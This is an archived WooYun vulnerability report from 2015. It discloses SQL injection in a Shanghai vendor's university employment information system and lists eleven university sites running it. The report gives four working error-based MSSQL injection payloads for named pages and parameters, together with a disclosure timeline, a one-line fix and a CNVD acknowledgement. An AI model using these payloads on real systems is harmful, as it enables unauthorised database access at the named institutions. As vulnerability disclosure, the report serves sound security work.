当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116085

漏洞标题:某高校在用就业系统2处SQL注射漏洞

相关厂商:上海甲鼎信息技术有限公司

漏洞作者: 路人甲

提交时间:2015-05-25 23:03

修复时间:2015-08-28 00:52

公开时间:2015-08-28 00:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-25: 细节已通知厂商并且等待厂商处理中
2015-05-30: 厂商已经确认,细节仅向厂商公开
2015-06-02: 细节向第三方安全合作伙伴开放
2015-07-24: 细节向核心白帽子及相关领域专家公开
2015-08-03: 细节向普通白帽子公开
2015-08-13: 细节向实习白帽子公开
2015-08-28: 细节向公众公开

简要描述:

某高校在用就业系统2处SQL注射漏洞

详细说明:

存在漏洞的是上海甲鼎信息技术有限公司 开发的高校就业信息服务系统
官方网站:http://www.infojiading.cn/
案例:

http://jy.shutcm.edu.cn/index.asp  上海中医药大学
http://jiuye.lixin.edu.cn/index.asp 上海立信会计学院
http://job.shmtu.edu.cn/index.asp 上海海事大学学生就业信息网
http://jiuye.sbs.edu.cn/index.asp 上海商学院
http://job.shupl.edu.cn/index.asp 上海政法学院
http://jy.sthu.edu.cn/index.asp 上海师范大学天华学院
http://job.shjgu.edu.cn/index.asp 上海济光职业技术学院
http://jytd.lidapoly.edu.cn/job/index.asp 上海立达职业技术学院
http://job.sicfl.edu.cn/ 上海工商外国语职业学院
http://job.smic.edu.cn/index.asp 上海医疗器械高等专科学校
http://www.infojiading.cn/sppcweb/index.asp 上海出版印刷高等专科学校


漏洞详情:
1.由于页面:/Asearch.asp POST 参数:ClassID 未安全过滤导致的SQL注射漏洞
2.由于页面:/Asearch.asp GET 参数:TClassID 未安全过滤导致的SQL注射漏洞
3.由于页面:/qiyezhmm.asp?type=2 POST 参数:dwmc 未安全过滤导致的SQL注射漏洞
4.由于页面:/qiyezhmm.asp?type=2 POST 参数:dwzzjgdm 未安全过滤导致的SQL注射漏洞

1.
/Asearch.asp
POST DATA:
ClassID='+(select%20convert(int,DB_NAME())%20FROM%20syscolumns)+'&enter=&Field=%d0%c5%cf%a2%b1%ea%cc%e2&keyword=1
2.
/Asearch.asp?TClassID='%2B(select%20convert(int,DB_NAME())%20FROM%20syscolumns)%2B'&TField=%D0%C5%CF%A2%C4%DA%C8%DD&TKey=1&Tpage=2
3.
/qiyezhmm.asp?type=2
POST DATA:
Submit=1&dwmc='+(select%20convert(int,DB_NAME())%20FROM%20syscolumns)+'&dwzzjgdm=1
4.
/qiyezhmm.asp?type=2
POST DATA:
Submit=1&dwmc=1&dwzzjgdm='+(select%20convert(int,DB_NAME())%20FROM%20syscolumns)+'

漏洞证明:

漏洞复现:以上海中医药大学(http://jy.shutcm.edu.cn/index.asp)为例:
1.参数:ClassID

001.png


2.参数:TClassID

002.png


3.参数:dwmc

003.png


4.参数:dwzzjgdm

004.png


修复方案:

对参数进行判断并过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-05-30 00:50

厂商回复:

CNVD确认所述情况,已经由CNVD通过网站公开联系方式向软件生产厂商及赛尔教育通报。

最新状态:

暂无